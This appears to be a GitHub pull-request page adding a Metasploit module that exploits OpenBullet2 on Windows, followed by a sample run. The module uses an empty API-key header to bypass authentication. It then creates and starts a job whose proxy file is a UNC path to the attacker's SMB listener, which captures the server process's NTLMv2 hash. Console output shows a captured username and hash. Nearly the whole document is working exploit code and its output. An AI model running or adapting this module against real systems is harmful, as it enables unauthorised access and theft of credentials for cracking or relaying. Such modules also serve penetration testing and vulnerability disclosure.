[*] Running automatic check ("set AutoCheck false" to disable)
[*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0
[+] The target appears to be vulnerable. Detected vulnerable version 0.3.0 (Microsoft Windows NT 10.0.19044.0)
[*] Server is running. Listening on 192.168.19.153:445
[*] The SMB service has been started.
[*] Listening for hashes on 192.168.19.153:445
[SMB] NTLMv2-SSP Client     : 192.168.19.159
[SMB] NTLMv2-SSP Username   : DESKTOP-GLLA9J3\vognik
[SMB] NTLMv2-SSP Hash       : vognik::DESKTOP-GLLA9J3:[hash]

Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenBullet2 NTLMv2 Hash Disclosure via UNC Path Proxy Source',
'Description' => %q{
This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows.

An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path.
When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying.

The affected versions include releases from 0.2.5.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Vulnerability Discovery & Metasploit Module
],
'References' => [
['CVE', '2026-25555'],
['CVE', '2026-39908'],
['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2']
],
'DisclosureDate' => '2026-06-08',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']),
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'),
'method' => 'GET',
'headers' => { 'X-Api-Key' => '' }
)
return Exploit::CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200

json_body = res&.get_json_document
return Exploit::CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body
return Exploit::CheckCode::Unknown("#{peer} - \"currentVersion\" key not found in response") unless json_body.key?('currentVersion')

version = Rex::Version.new(json_body['currentVersion'])
return Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") if version < Rex::Version.new('0.2.5')

@target_os = get_server_info
print_status("OpenBullet2 Instance OS: #{@target_os}")
return Exploit::CheckCode::Safe("Detected vulnerable version #{version}, but the target OS is #{@target_os} (Windows-only module)") unless @target_os.to_s.downcase.include?('windows')

Exploit::CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})")
end

def create_config
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),
'method' => 'POST',
'headers' => { 'X-Api-Key' => '' }
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

json_body = res&.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body
fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id')

json_body['id']
end

def get_configs
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config', 'all'),
'method' => 'GET',
'headers' => { 'X-Api-Key' => '' }
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

json_body = res&.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body

json_body
end

def create_job(config_id, proxy_path)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'),
'method' => 'POST',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json',
'data' => {
'startCondition' => {
'_polyTypeName' => 'relativeTimeStartCondition'
},
'configId' => config_id,
'proxyMode' => 'on',
'dataPool' => {
'_polyTypeName' => 'rangeDataPool',
'wordlistType' => 'Default',
'start' => 1,
'amount' => 1,
'step' => 1
},
'proxySources' => [
{
'_polyTypeName' => 'fileProxySource',
'fileName' => proxy_path,
'defaultType' => 'http'
}
]
}.to_json
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

json_body = res&.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body
fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id')

json_body['id']
end

def start_job(job_id)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'),
'method' => 'POST',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json',
'data' => { 'jobId' => job_id, 'wait' => false }.to_json
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
end

def abort_job(job_id)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'abort'),
'method' => 'POST',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json',
'data' => { 'jobId' => job_id, 'wait' => false }.to_json
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
end

def delete_job(job_id)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'),
'method' => 'DELETE',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json',
'vars_get' => { id: job_id }
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
end

def delete_config(config_id)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),
'method' => 'DELETE',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json',
'vars_get' => { id: config_id }
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
end

def get_server_info
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'),
'method' => 'GET',
'headers' => { 'X-Api-Key' => '' },
'ctype' => 'application/json'
)
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

json_body = res&.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body
fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem')

json_body['operatingSystem']
end

def cleanup
super
delete_config(@config_id) if @config_source == :created
abort_job(@job_id) if @job_id
delete_job(@job_id) if @job_id
end

def validate_target_os!
target_os = @target_os || get_server_info
unless target_os.to_s.downcase.include?('windows')
fail_with(Failure::NoTarget, "This module only supports Windows targets, but the remote server is running #{target_os}.")
end
end

def run
validate_target_os!

configs = get_configs
@config_id, @config_source = configs.empty? ? [create_config, :created] : [configs.sample['id'], :default]

unc_share = Faker::Lorem.word
unc_fname = Faker::Lorem.word
unc_path = "\\\\#{srvhost}\\#{unc_share}\\#{unc_fname}.txt"
@job_id = create_job(@config_id, unc_path)

start_smb_capture_server
start_job(@job_id)

Rex::ThreadSafe.sleep(5)
end

def start_smb_capture_server
start_service
print_status('The SMB service has been started.')
print_status("Listening for hashes on #{srvhost}:#{srvport}")
end

end
Loading
Loading